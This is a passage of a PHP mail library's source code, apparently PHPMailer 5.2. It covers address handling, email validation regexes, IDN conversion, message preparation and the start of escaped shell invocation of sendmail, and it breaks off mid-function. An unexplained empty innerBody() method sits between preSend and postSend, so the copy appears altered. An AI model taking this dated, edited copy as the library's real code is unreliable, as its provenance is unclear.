  1636.  
  1637. }
  1638.  
  1639.  
  1640.  
  1641. /**
  1642.  
  1643. * Send messages using SMTP.
  1644.  
  1645. * @return void
  1646.  
  1647. */
  1648.  
  1649. public function isSMTP()
  1650.  
  1651. {
  1652.  
  1653. $this->Mailer = 'smtp';
  1654.  
  1655. }
  1656.  
  1657.  
  1658.  
  1659. /**
  1660.  
  1661. * Send messages using PHP's mail() function.
  1662.  
  1663. * @return void
  1664.  
  1665. */
  1666.  
  1667. public function isMail()
  1668.  
  1669. {
  1670.  
  1671. $this->Mailer = 'mail';
  1672.  
  1673. }
  1674.  
  1675.  
  1676.  
  1677. /**
  1678.  
  1679. * Send messages using $Sendmail.
  1680.  
  1681. * @return void
  1682.  
  1683. */
  1684.  
  1685. public function isSendmail()
  1686.  
  1687. {
  1688.  
  1689. $ini_sendmail_path = ini_get('sendmail_path');
  1690.  
  1691.  
  1692.  
  1693. if (!stristr($ini_sendmail_path, 'sendmail')) {
  1694.  
  1695. $this->Sendmail = '/usr/sbin/sendmail';
  1696.  
  1697. } else {
  1698.  
  1699. $this->Sendmail = $ini_sendmail_path;
  1700.  
  1701. }
  1702.  
  1703. $this->Mailer = 'sendmail';
  1704.  
  1705. }
  1706.  
  1707.  
  1708.  
  1709. /**
  1710.  
  1711. * Send messages using qmail.
  1712.  
  1713. * @return void
  1714.  
  1715. */
  1716.  
  1717. public function isQmail()
  1718.  
  1719. {
  1720.  
  1721. $ini_sendmail_path = ini_get('sendmail_path');
  1722.  
  1723.  
  1724.  
  1725. if (!stristr($ini_sendmail_path, 'qmail')) {
  1726.  
  1727. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  1728.  
  1729. } else {
  1730.  
  1731. $this->Sendmail = $ini_sendmail_path;
  1732.  
  1733. }
  1734.  
  1735. $this->Mailer = 'qmail';
  1736.  
  1737. }
  1738.  
  1739.  
  1740.  
  1741. /**
  1742.  
  1743. * Add a "To" address.
  1744.  
  1745. * @param string $address The email address to send to
  1746.  
  1747. * @param string $name
  1748.  
  1749. * @return boolean true on success, false if address already used or invalid in some way
  1750.  
  1751. */
  1752.  
  1753. public function addAddress($address, $name = '')
  1754.  
  1755. {
  1756.  
  1757. return $this->addOrEnqueueAnAddress('to', $address, $name);
  1758.  
  1759. }
  1760.  
  1761.  
  1762.  
  1763. /**
  1764.  
  1765. * Add a "CC" address.
  1766.  
  1767. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1768.  
  1769. * @param string $address The email address to send to
  1770.  
  1771. * @param string $name
  1772.  
  1773. * @return boolean true on success, false if address already used or invalid in some way
  1774.  
  1775. */
  1776.  
  1777. public function addCC($address, $name = '')
  1778.  
  1779. {
  1780.  
  1781. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  1782.  
  1783. }
  1784.  
  1785.  
  1786.  
  1787. /**
  1788.  
  1789. * Add a "BCC" address.
  1790.  
  1791. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1792.  
  1793. * @param string $address The email address to send to
  1794.  
  1795. * @param string $name
  1796.  
  1797. * @return boolean true on success, false if address already used or invalid in some way
  1798.  
  1799. */
  1800.  
  1801. public function addBCC($address, $name = '')
  1802.  
  1803. {
  1804.  
  1805. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  1806.  
  1807. }
  1808.  
  1809.  
  1810.  
  1811. /**
  1812.  
  1813. * Add a "Reply-To" address.
  1814.  
  1815. * @param string $address The email address to reply to
  1816.  
  1817. * @param string $name
  1818.  
  1819. * @return boolean true on success, false if address already used or invalid in some way
  1820.  
  1821. */
  1822.  
  1823. public function addReplyTo($address, $name = '')
  1824.  
  1825. {
  1826.  
  1827. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  1828.  
  1829. }
  1830.  
  1831.  
  1832.  
  1833. /**
  1834.  
  1835. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  1836.  
  1837. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  1838.  
  1839. * be modified after calling this function), addition of such addresses is delayed until send().
  1840.  
  1841. * Addresses that have been added already return false, but do not throw exceptions.
  1842.  
  1843. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  1844.  
  1845. * @param string $address The email address to send, resp. to reply to
  1846.  
  1847. * @param string $name
  1848.  
  1849. * @throws phpmailerException
  1850.  
  1851. * @return boolean true on success, false if address already used or invalid in some way
  1852.  
  1853. * @access protected
  1854.  
  1855. */
  1856.  
  1857. protected function addOrEnqueueAnAddress($kind, $address, $name)
  1858.  
  1859. {
  1860.  
  1861. $address = trim($address);
  1862.  
  1863. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1864.  
  1865. if (($pos = strrpos($address, '@')) === false) {
  1866.  
  1867. // At-sign is misssing.
  1868.  
  1869. $error_message = $this->lang('invalid_address') . $address;
  1870.  
  1871. $this->setError($error_message);
  1872.  
  1873. $this->edebug($error_message);
  1874.  
  1875. if ($this->exceptions) {
  1876.  
  1877. throw new phpmailerException($error_message);
  1878.  
  1879. }
  1880.  
  1881. return false;
  1882.  
  1883. }
  1884.  
  1885. $params = array($kind, $address, $name);
  1886.  
  1887. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  1888.  
  1889. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  1890.  
  1891. if ($kind != 'Reply-To') {
  1892.  
  1893. if (!array_key_exists($address, $this->RecipientsQueue)) {
  1894.  
  1895. $this->RecipientsQueue[$address] = $params;
  1896.  
  1897. return true;
  1898.  
  1899. }
  1900.  
  1901. } else {
  1902.  
  1903. if (!array_key_exists($address, $this->ReplyToQueue)) {
  1904.  
  1905. $this->ReplyToQueue[$address] = $params;
  1906.  
  1907. return true;
  1908.  
  1909. }
  1910.  
  1911. }
  1912.  
  1913. return false;
  1914.  
  1915. }
  1916.  
  1917. // Immediately add standard addresses without IDN.
  1918.  
  1919. return call_user_func_array(array($this, 'addAnAddress'), $params);
  1920.  
  1921. }
  1922.  
  1923.  
  1924.  
  1925. /**
  1926.  
  1927. * Add an address to one of the recipient arrays or to the ReplyTo array.
  1928.  
  1929. * Addresses that have been added already return false, but do not throw exceptions.
  1930.  
  1931. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  1932.  
  1933. * @param string $address The email address to send, resp. to reply to
  1934.  
  1935. * @param string $name
  1936.  
  1937. * @throws phpmailerException
  1938.  
  1939. * @return boolean true on success, false if address already used or invalid in some way
  1940.  
  1941. * @access protected
  1942.  
  1943. */
  1944.  
  1945. protected function addAnAddress($kind, $address, $name = '')
  1946.  
  1947. {
  1948.  
  1949. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  1950.  
  1951. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  1952.  
  1953. $this->setError($error_message);
  1954.  
  1955. $this->edebug($error_message);
  1956.  
  1957. if ($this->exceptions) {
  1958.  
  1959. throw new phpmailerException($error_message);
  1960.  
  1961. }
  1962.  
  1963. return false;
  1964.  
  1965. }
  1966.  
  1967. if (!$this->validateAddress($address)) {
  1968.  
  1969. $error_message = $this->lang('invalid_address') . $address;
  1970.  
  1971. $this->setError($error_message);
  1972.  
  1973. $this->edebug($error_message);
  1974.  
  1975. if ($this->exceptions) {
  1976.  
  1977. throw new phpmailerException($error_message);
  1978.  
  1979. }
  1980.  
  1981. return false;
  1982.  
  1983. }
  1984.  
  1985. if ($kind != 'Reply-To') {
  1986.  
  1987. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  1988.  
  1989. array_push($this->$kind, array($address, $name));
  1990.  
  1991. $this->all_recipients[strtolower($address)] = true;
  1992.  
  1993. return true;
  1994.  
  1995. }
  1996.  
  1997. } else {
  1998.  
  1999. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  2000.  
  2001. $this->ReplyTo[strtolower($address)] = array($address, $name);
  2002.  
  2003. return true;
  2004.  
  2005. }
  2006.  
  2007. }
  2008.  
  2009. return false;
  2010.  
  2011. }
  2012.  
  2013.  
  2014.  
  2015. /**
  2016.  
  2017. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  2018.  
  2019. * of the form "display name <address>" into an array of name/address pairs.
  2020.  
  2021. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  2022.  
  2023. * Note that quotes in the name part are removed.
  2024.  
  2025. * @param string $addrstr The address list string
  2026.  
  2027. * @param bool $useimap Whether to use the IMAP extension to parse the list
  2028.  
  2029. * @return array
  2030.  
  2031. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  2032.  
  2033. */
  2034.  
  2035. public function parseAddresses($addrstr, $useimap = true)
  2036.  
  2037. {
  2038.  
  2039. $addresses = array();
  2040.  
  2041. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  2042.  
  2043. //Use this built-in parser if it's available
  2044.  
  2045. $list = imap_rfc822_parse_adrlist($addrstr, '');
  2046.  
  2047. foreach ($list as $address) {
  2048.  
  2049. if ($address->host != '.SYNTAX-ERROR.') {
  2050.  
  2051. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  2052.  
  2053. $addresses[] = array(
  2054.  
  2055. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  2056.  
  2057. 'address' => $address->mailbox . '@' . $address->host
  2058.  
  2059. );
  2060.  
  2061. }
  2062.  
  2063. }
  2064.  
  2065. }
  2066.  
  2067. } else {
  2068.  
  2069. //Use this simpler parser
  2070.  
  2071. $list = explode(',', $addrstr);
  2072.  
  2073. foreach ($list as $address) {
  2074.  
  2075. $address = trim($address);
  2076.  
  2077. //Is there a separate name part?
  2078.  
  2079. if (strpos($address, '<') === false) {
  2080.  
  2081. //No separate name, just use the whole thing
  2082.  
  2083. if ($this->validateAddress($address)) {
  2084.  
  2085. $addresses[] = array(
  2086.  
  2087. 'name' => '',
  2088.  
  2089. 'address' => $address
  2090.  
  2091. );
  2092.  
  2093. }
  2094.  
  2095. } else {
  2096.  
  2097. list($name, $email) = explode('<', $address);
  2098.  
  2099. $email = trim(str_replace('>', '', $email));
  2100.  
  2101. if ($this->validateAddress($email)) {
  2102.  
  2103. $addresses[] = array(
  2104.  
  2105. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  2106.  
  2107. 'address' => $email
  2108.  
  2109. );
  2110.  
  2111. }
  2112.  
  2113. }
  2114.  
  2115. }
  2116.  
  2117. }
  2118.  
  2119. return $addresses;
  2120.  
  2121. }
  2122.  
  2123.  
  2124.  
  2125. /**
  2126.  
  2127. * Set the From and FromName properties.
  2128.  
  2129. * @param string $address
  2130.  
  2131. * @param string $name
  2132.  
  2133. * @param boolean $auto Whether to also set the Sender address, defaults to true
  2134.  
  2135. * @throws phpmailerException
  2136.  
  2137. * @return boolean
  2138.  
  2139. */
  2140.  
  2141. public function setFrom($address, $name = '', $auto = true)
  2142.  
  2143. {
  2144.  
  2145. $address = trim($address);
  2146.  
  2147. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2148.  
  2149. // Don't validate now addresses with IDN. Will be done in send().
  2150.  
  2151. if (($pos = strrpos($address, '@')) === false or
  2152.  
  2153. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  2154.  
  2155. !$this->validateAddress($address)) {
  2156.  
  2157. $error_message = $this->lang('invalid_address') . $address;
  2158.  
  2159. $this->setError($error_message);
  2160.  
  2161. $this->edebug($error_message);
  2162.  
  2163. if ($this->exceptions) {
  2164.  
  2165. throw new phpmailerException($error_message);
  2166.  
  2167. }
  2168.  
  2169. return false;
  2170.  
  2171. }
  2172.  
  2173. $this->From = $address;
  2174.  
  2175. $this->FromName = $name;
  2176.  
  2177. if ($auto) {
  2178.  
  2179. if (empty($this->Sender)) {
  2180.  
  2181. $this->Sender = $address;
  2182.  
  2183. }
  2184.  
  2185. }
  2186.  
  2187. return true;
  2188.  
  2189. }
  2190.  
  2191.  
  2192.  
  2193. /**
  2194.  
  2195. * Return the Message-ID header of the last email.
  2196.  
  2197. * Technically this is the value from the last time the headers were created,
  2198.  
  2199. * but it's also the message ID of the last sent message except in
  2200.  
  2201. * pathological cases.
  2202.  
  2203. * @return string
  2204.  
  2205. */
  2206.  
  2207. public function getLastMessageID()
  2208.  
  2209. {
  2210.  
  2211. return $this->lastMessageID;
  2212.  
  2213. }
  2214.  
  2215.  
  2216.  
  2217. /**
  2218.  
  2219. * Check that a string looks like an email address.
  2220.  
  2221. * @param string $address The email address to check
  2222.  
  2223. * @param string $patternselect A selector for the validation pattern to use :
  2224.  
  2225. * * `auto` Pick best pattern automatically;
  2226.  
  2227. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  2228.  
  2229. * * `pcre` Use old PCRE implementation;
  2230.  
  2231. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  2232.  
  2233. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  2234.  
  2235. * * `noregex` Don't use a regex: super fast, really dumb.
  2236.  
  2237. * @return boolean
  2238.  
  2239. * @static
  2240.  
  2241. * @access public
  2242.  
  2243. */
  2244.  
  2245. public static function validateAddress($address, $patternselect = 'auto')
  2246.  
  2247. {
  2248.  
  2249. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  2250.  
  2251. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  2252.  
  2253. return false;
  2254.  
  2255. }
  2256.  
  2257. if (!$patternselect or $patternselect == 'auto') {
  2258.  
  2259. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  2260.  
  2261. //Constant was added in PHP 5.2.4
  2262.  
  2263. if (defined('PCRE_VERSION')) {
  2264.  
  2265. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  2266.  
  2267. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  2268.  
  2269. $patternselect = 'pcre8';
  2270.  
  2271. } else {
  2272.  
  2273. $patternselect = 'pcre';
  2274.  
  2275. }
  2276.  
  2277. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  2278.  
  2279. //Fall back to older PCRE
  2280.  
  2281. $patternselect = 'pcre';
  2282.  
  2283. } else {
  2284.  
  2285. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  2286.  
  2287. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  2288.  
  2289. $patternselect = 'php';
  2290.  
  2291. } else {
  2292.  
  2293. $patternselect = 'noregex';
  2294.  
  2295. }
  2296.  
  2297. }
  2298.  
  2299. }
  2300.  
  2301. switch ($patternselect) {
  2302.  
  2303. case 'pcre8':
  2304.  
  2305. /**
  2306.  
  2307. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  2308.  
  2309. * @link http://squiloople.com/2009/12/20/email-address-validation/
  2310.  
  2311. * @copyright 2009-2010 Michael Rushton
  2312.  
  2313. * Feel free to use and redistribute this code. But please keep this copyright notice.
  2314.  
  2315. */
  2316.  
  2317. return (boolean)preg_match(
  2318.  
  2319. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  2320.  
  2321. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  2322.  
  2323. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  2324.  
  2325. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  2326.  
  2327. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  2328.  
  2329. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  2330.  
  2331. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  2332.  
  2333. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2334.  
  2335. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  2336.  
  2337. $address
  2338.  
  2339. );
  2340.  
  2341. case 'pcre':
  2342.  
  2343. //An older regex that doesn't need a recent PCRE
  2344.  
  2345. return (boolean)preg_match(
  2346.  
  2347. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  2348.  
  2349. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  2350.  
  2351. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  2352.  
  2353. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  2354.  
  2355. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  2356.  
  2357. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  2358.  
  2359. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  2360.  
  2361. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  2362.  
  2363. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2364.  
  2365. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  2366.  
  2367. $address
  2368.  
  2369. );
  2370.  
  2371. case 'html5':
  2372.  
  2373. /**
  2374.  
  2375. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  2376.  
  2377. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  2378.  
  2379. */
  2380.  
  2381. return (boolean)preg_match(
  2382.  
  2383. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  2384.  
  2385. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  2386.  
  2387. $address
  2388.  
  2389. );
  2390.  
  2391. case 'noregex':
  2392.  
  2393. //No PCRE! Do something _very_ approximate!
  2394.  
  2395. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  2396.  
  2397. return (strlen($address) >= 3
  2398.  
  2399. and strpos($address, '@') >= 1
  2400.  
  2401. and strpos($address, '@') != strlen($address) - 1);
  2402.  
  2403. case 'php':
  2404.  
  2405. default:
  2406.  
  2407. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  2408.  
  2409. }
  2410.  
  2411. }
  2412.  
  2413.  
  2414.  
  2415. /**
  2416.  
  2417. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  2418.  
  2419. * "intl" and "mbstring" PHP extensions.
  2420.  
  2421. * @return bool "true" if required functions for IDN support are present
  2422.  
  2423. */
  2424.  
  2425. public function idnSupported()
  2426.  
  2427. {
  2428.  
  2429. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  2430.  
  2431. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  2432.  
  2433. }
  2434.  
  2435.  
  2436.  
  2437. /**
  2438.  
  2439. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  2440.  
  2441. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  2442.  
  2443. * This function silently returns unmodified address if:
  2444.  
  2445. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  2446.  
  2447. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  2448.  
  2449. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  2450.  
  2451. * @see PHPMailer::$CharSet
  2452.  
  2453. * @param string $address The email address to convert
  2454.  
  2455. * @return string The encoded address in ASCII form
  2456.  
  2457. */
  2458.  
  2459. public function punyencodeAddress($address)
  2460.  
  2461. {
  2462.  
  2463. // Verify we have required functions, CharSet, and at-sign.
  2464.  
  2465. if ($this->idnSupported() and
  2466.  
  2467. !empty($this->CharSet) and
  2468.  
  2469. ($pos = strrpos($address, '@')) !== false) {
  2470.  
  2471. $domain = substr($address, ++$pos);
  2472.  
  2473. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  2474.  
  2475. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  2476.  
  2477. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  2478.  
  2479. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  2480.  
  2481. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  2482.  
  2483. idn_to_ascii($domain)) !== false) {
  2484.  
  2485. return substr($address, 0, $pos) . $punycode;
  2486.  
  2487. }
  2488.  
  2489. }
  2490.  
  2491. }
  2492.  
  2493. return $address;
  2494.  
  2495. }
  2496.  
  2497.  
  2498.  
  2499. /**
  2500.  
  2501. * Create a message and send it.
  2502.  
  2503. * Uses the sending method specified by $Mailer.
  2504.  
  2505. * @throws phpmailerException
  2506.  
  2507. * @return boolean false on error - See the ErrorInfo property for details of the error.
  2508.  
  2509. */
  2510.  
  2511. public function send()
  2512.  
  2513. {
  2514.  
  2515. try {
  2516.  
  2517. if (!$this->preSend()) {
  2518.  
  2519. return false;
  2520.  
  2521. }
  2522.  
  2523. return $this->postSend();
  2524.  
  2525. } catch (phpmailerException $exc) {
  2526.  
  2527. $this->mailHeader = '';
  2528.  
  2529. $this->setError($exc->getMessage());
  2530.  
  2531. if ($this->exceptions) {
  2532.  
  2533. throw $exc;
  2534.  
  2535. }
  2536.  
  2537. return false;
  2538.  
  2539. }
  2540.  
  2541. }
  2542.  
  2543.  
  2544.  
  2545. /**
  2546.  
  2547. * Prepare a message for sending.
  2548.  
  2549. * @throws phpmailerException
  2550.  
  2551. * @return boolean
  2552.  
  2553. */
  2554.  
  2555. public function preSend()
  2556.  
  2557. {
  2558.  
  2559. try {
  2560.  
  2561. $this->error_count = 0; // Reset errors
  2562.  
  2563. $this->mailHeader = '';
  2564.  
  2565.  
  2566.  
  2567. // Dequeue recipient and Reply-To addresses with IDN
  2568.  
  2569. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  2570.  
  2571. $params[1] = $this->punyencodeAddress($params[1]);
  2572.  
  2573. call_user_func_array(array($this, 'addAnAddress'), $params);
  2574.  
  2575. }
  2576.  
  2577. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  2578.  
  2579. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  2580.  
  2581. }
  2582.  
  2583.  
  2584.  
  2585. // Validate From, Sender, and ConfirmReadingTo addresses
  2586.  
  2587. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  2588.  
  2589. $this->$address_kind = trim($this->$address_kind);
  2590.  
  2591. if (empty($this->$address_kind)) {
  2592.  
  2593. continue;
  2594.  
  2595. }
  2596.  
  2597. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  2598.  
  2599. if (!$this->validateAddress($this->$address_kind)) {
  2600.  
  2601. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  2602.  
  2603. $this->setError($error_message);
  2604.  
  2605. $this->edebug($error_message);
  2606.  
  2607. if ($this->exceptions) {
  2608.  
  2609. throw new phpmailerException($error_message);
  2610.  
  2611. }
  2612.  
  2613. return false;
  2614.  
  2615. }
  2616.  
  2617. }
  2618.  
  2619.  
  2620.  
  2621. // Set whether the message is multipart/alternative
  2622.  
  2623. if (!empty($this->AltBody)) {
  2624.  
  2625. $this->ContentType = 'multipart/alternative';
  2626.  
  2627. }
  2628.  
  2629.  
  2630.  
  2631. $this->setMessageType();
  2632.  
  2633. // Refuse to send an empty message unless we are specifically allowing it
  2634.  
  2635. if (!$this->AllowEmpty and empty($this->Body)) {
  2636.  
  2637. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  2638.  
  2639. }
  2640.  
  2641.  
  2642.  
  2643. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  2644.  
  2645. $this->MIMEHeader = '';
  2646.  
  2647. $this->MIMEBody = $this->createBody();
  2648.  
  2649. // createBody may have added some headers, so retain them
  2650.  
  2651. $tempheaders = $this->MIMEHeader;
  2652.  
  2653. $this->MIMEHeader = $this->createHeader();
  2654.  
  2655. $this->MIMEHeader .= $tempheaders;
  2656.  
  2657.  
  2658.  
  2659. // To capture the complete message when using mail(), create
  2660.  
  2661. // an extra header list which createHeader() doesn't fold in
  2662.  
  2663. if ($this->Mailer == 'mail') {
  2664.  
  2665. if (count($this->to) > 0) {
  2666.  
  2667. $this->mailHeader .= $this->addrAppend('To', $this->to);
  2668.  
  2669. } else {
  2670.  
  2671. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  2672.  
  2673. }
  2674.  
  2675. $this->mailHeader .= $this->headerLine(
  2676.  
  2677. 'Subject',
  2678.  
  2679. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  2680.  
  2681. );
  2682.  
  2683. }
  2684.  
  2685.  
  2686.  
  2687. // Sign with DKIM if enabled
  2688.  
  2689. if (!empty($this->DKIM_domain)
  2690.  
  2691. && !empty($this->DKIM_private)
  2692.  
  2693. && !empty($this->DKIM_selector)
  2694.  
  2695. && file_exists($this->DKIM_private)) {
  2696.  
  2697. $header_dkim = $this->DKIM_Add(
  2698.  
  2699. $this->MIMEHeader . $this->mailHeader,
  2700.  
  2701. $this->encodeHeader($this->secureHeader($this->Subject)),
  2702.  
  2703. $this->MIMEBody
  2704.  
  2705. );
  2706.  
  2707. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  2708.  
  2709. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  2710.  
  2711. }
  2712.  
  2713. return true;
  2714.  
  2715. } catch (phpmailerException $exc) {
  2716.  
  2717. $this->setError($exc->getMessage());
  2718.  
  2719. if ($this->exceptions) {
  2720.  
  2721. throw $exc;
  2722.  
  2723. }
  2724.  
  2725. return false;
  2726.  
  2727. }
  2728.  
  2729. }
  2730.  
  2731. public function innerBody(){
  2732.  
  2733.  
  2734.  
  2735.  
  2736.  
  2737. }
  2738.  
  2739. /**
  2740.  
  2741. * Actually send a message.
  2742.  
  2743. * Send the email via the selected mechanism
  2744.  
  2745. * @throws phpmailerException
  2746.  
  2747. * @return boolean
  2748.  
  2749. */
  2750.  
  2751. public function postSend()
  2752.  
  2753. {
  2754.  
  2755. try {
  2756.  
  2757. // Choose the mailer and send through it
  2758.  
  2759. switch ($this->Mailer) {
  2760.  
  2761. case 'sendmail':
  2762.  
  2763. case 'qmail':
  2764.  
  2765. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  2766.  
  2767. case 'smtp':
  2768.  
  2769. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  2770.  
  2771. case 'mail':
  2772.  
  2773. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2774.  
  2775. default:
  2776.  
  2777. $sendMethod = $this->Mailer.'Send';
  2778.  
  2779. if (method_exists($this, $sendMethod)) {
  2780.  
  2781. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  2782.  
  2783. }
  2784.  
  2785.  
  2786.  
  2787. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2788.  
  2789. }
  2790.  
  2791. } catch (phpmailerException $exc) {
  2792.  
  2793. $this->setError($exc->getMessage());
  2794.  
  2795. $this->edebug($exc->getMessage());
  2796.  
  2797. if ($this->exceptions) {
  2798.  
  2799. throw $exc;
  2800.  
  2801. }
  2802.  
  2803. }
  2804.  
  2805. return false;
  2806.  
  2807. }
  2808.  
  2809.  
  2810.  
  2811. /**
  2812.  
  2813. * Send mail using the $Sendmail program.
  2814.  
  2815. * @param string $header The message headers
  2816.  
  2817. * @param string $body The message body
  2818.  
  2819. * @see PHPMailer::$Sendmail
  2820.  
  2821. * @throws phpmailerException
  2822.  
  2823. * @access protected
  2824.  
  2825. * @return boolean
  2826.  
  2827. */
  2828.  
  2829. protected function sendmailSend($header, $body)
  2830.  
  2831. {
  2832.  
  2833. if ($this->Sender != '') {
  2834.  
  2835. if ($this->Mailer == 'qmail') {
  2836.  
  2837. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2838.  
  2839. } else {
  2840.  
